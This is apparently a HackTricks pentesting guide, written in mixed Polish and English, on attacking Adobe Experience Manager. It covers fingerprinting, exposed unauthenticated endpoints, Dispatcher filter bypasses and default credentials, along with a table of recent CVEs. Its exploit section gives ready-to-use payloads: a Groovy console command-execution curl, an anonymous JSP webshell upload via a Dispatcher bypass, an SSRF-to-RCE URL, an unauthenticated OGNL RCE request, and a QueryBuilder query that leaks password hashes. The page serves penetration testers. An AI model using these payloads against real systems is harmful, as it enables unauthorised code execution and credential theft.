AEM (Adobe Experience Manager) Pentesting
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Adobe Experience Manager (AEM, część Adobe Experience Cloud) to korporacyjny CMS działający na Apache Sling/Felix (OSGi) i Java Content Repository (JCR). Z perspektywy atakującego instancje AEM bardzo często ujawniają niebezpieczne development endpoints, słabe reguły Dispatcher, default credentials oraz długi ogon CVEs, które są łatane co kwartał.
The checklist below focuses on externally reachable (unauth) attack surface that keeps showing up in real engagements (2022-2026).
1. Fingerprinting
$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1 # header added by AEM Dispatcher
X-Vary: Accept-Encoding
Inne szybkie wskaźniki:
/etc.clientlibs/static path present (zwraca JS/CSS)./libs/granite/core/content/login.htmllogin page with the “Adobe Experience Manager” banner.</script><!--/* CQ */-->komentarz na dole HTML.
2. Wysokowartościowe endpointy dostępne bez uwierzytelnienia
| Path | Co otrzymujesz | Uwagi |
|---|---|---|
/.json, /.1.json | Węzły JCR przez DefaultGetServlet | Często blokowane, ale Dispatcher bypass (patrz niżej) działa. |
/bin/querybuilder.json?path=/ | QueryBuilder API | Leak drzewa stron, wewnętrznych ścieżek, nazw użytkowników. |
/system/console/status-*, /system/console/bundles | OSGi/Felix console | 403 domyślnie; jeśli jest wystawione i znajdą się creds ⇒ bundle-upload RCE. |
/crx/packmgr/index.jsp | Package Manager | Pozwala na przesyłanie content packages po uwierzytelnieniu → JSP payload upload. |
/etc/groovyconsole/** | AEM Groovy Console | Jeśli jest wystawione → dowolne wykonanie Groovy / Java. |
/libs/cq/AuditlogSearchServlet.json | Audit logs | Ujawnienie informacji. |
/libs/cq/ui/content/dumplibs.html | ClientLibs dump | wektor XSS. |
/adminui/debug | AEM Forms on JEE Struts dev-mode OGNL evaluator | W przypadku źle skonfigurowanych instalacji Forms (CVE-2025-54253) ten endpoint wykonuje OGNL bez uwierzytelnienia → RCE. |
Dispatcher bypass tricks (still working in 2025/2026)
Większość produkcyjnych stron działa za Dispatcher (reverse-proxy). Reguły filtrowania są często bypassed przez nadużywanie zakodowanych znaków lub dozwolonych statycznych rozszerzeń.
Klasyczny średnik + dozwolone rozszerzenie
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
Encoded slash bypass (2025 KB ka-27832)
GET /%2fbin%2fquerybuilder.json?path=/etc&1_property=jcr:primaryType HTTP/1.1
If the Dispatcher allows encoded slashes, this returns JSON even when /bin is supposedly denied.
3. Częste błędy konfiguracyjne (wciąż występują w 2026)
- Anonymous POST servlet –
POST /.jsonwith:operation=importpozwala zasadzić nowe węzły JCR. Zablokowanie POSTów*.jsonw Dispatcherze to naprawia. - World-readable user profiles – domyślne ACL przyznaje
jcr:readna/home/users/**/profile/*dla wszystkich. - Default credentials –
admin:admin,author:author,replication:replication. - WCMDebugFilter włączony ⇒ reflected XSS via
?debug=layout(CVE-2016-7882, wciąż spotykany w przestarzałych instalacjach 6.4). - Groovy Console exposed – remote code execution by sending a Groovy script:
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
- Dispatcher encoded-slash gap –
/bin/querybuilder.jsonand/etc/truststore.jsonreachable with%2f/%3Bnawet gdy są zablokowane przez filtry ścieżek. - AEM Forms Struts devMode left enabled –
/adminui/debug?expression=ocenia OGNL bez uwierzytelnienia (CVE-2025-54253), prowadząc do unauth RCE; dodatkowe XXE w przesyłaniu Forms (CVE-2025-54254) pozwala na odczyt plików.
4. Ostatnie podatności (kadencja service-packów)
| Kwartał | CVE / Biuletyn | Dotyczy | Wpływ |
|---|---|---|---|
| Dec 2025 | APSB25-115, CVE-2025-64537/64539 | 6.5.24 & earlier, Cloud 2025.12 | Wiele krytycznych/stored XSS → code execution przez author UI. |
| Sep 2025 | APSB25-90 | 6.5.23 & earlier | Łańcuch omijania funkcji bezpieczeństwa (Dispatcher auth checker) – zaktualizować do 6.5.24/Cloud 2025.12. |
| Aug 2025 | CVE-2025-54253 / 54254 (AEM Forms JEE) | Forms 6.5.23.0 and earlier | DevMode OGNL RCE + XXE odczyt plików, bez uwierzytelnienia. |
| Jun 2025 | APSB25-48 | 6.5.23 & earlier | Stored XSS i eskalacja uprawnień w komponentach Communities. |
| Dec 2024 | APSB24-69 (rev. Mar 2025 adds CVE-2024-53962…74) | 6.5.22 & earlier | DOM/Stored XSS, dowolne wykonanie kodu (niskie uprawnienia). |
| Dec 2023 | APSB23-72 | ≤ 6.5.18 | DOM-based XSS przez spreparowany URL. |
Zawsze sprawdzaj biuletyn APSB odpowiadający service-packowi klienta i dąż do najnowszej wersji 6.5.24 (Nov 26, 2025) lub Cloud Service 2025.12. AEM Forms on JEE wymaga własnego dodatku hotfix 6.5.0-0108+.
5. Fragmenty exploitów
5.1 RCE via dispatcher bypass + JSP upload
If anonymous write is possible:
# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded
:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import
Wywołaj teraz /content/evil.jsp – JSP uruchamia się z uprawnieniami użytkownika procesu AEM.
5.2 SSRF to RCE (historyczne < 6.3)
/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console
aem_ssrf2rce.py z aem-hacker automatyzuje cały łańcuch.
5.3 OGNL RCE w AEM Forms JEE (CVE-2025-54253)
# Unauth devMode OGNL to run whoami
curl -k "https://target:8443/adminui/debug?expression=%23cmd%3D%27whoami%27,%23p=new%20java.lang.ProcessBuilder(%23cmd).start(),%23out=new%20java.io.InputStreamReader(%23p.getInputStream()),%23br=new%20java.io.BufferedReader(%23out),%23br.readLine()"
5.4 QueryBuilder hash disclosure (encoded slash bypass)
W przypadku podatności, treść odpowiedzi HTTP zawiera wynik polecenia.
GET /%2fbin%2fquerybuilder.json?path=/home&type=rep:User&p.hits=full&p.nodedepth=2&p.offset=0 HTTP/1.1
Zwraca węzły użytkowników zawierające rep:password hashes, gdy ACL-y umożliwiające anonimowy odczyt są ustawione domyślnie.
6. Narzędzia
- aem-hacker – Wszechstronny skrypt enumeracyjny — wspiera dispatcher bypass, SSRF detection, default-creds checks i inne.
python3 aem_hacker.py -u https://target --host attacker-ip
- Tenable WAS plugin 115065 – Wykrywa QueryBuilder hash disclosure & encoded-slash bypass automatycznie (opublikowano Dec 2025).
- Content brute-force – rekursywnie żądaj
/_jcr_content.(json|html)aby odkryć ukryte komponenty. - osgi-infect – wgraj złośliwy OSGi bundle przez
/system/console/bundles, jeśli creds są dostępne.
Referencje
- Adobe Security Bulletin APSB25-115 – Security updates for Adobe Experience Manager (Dec 9, 2025)
- BleepingComputer – Adobe issues emergency fixes for AEM Forms zero-days (Aug 5, 2025)
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


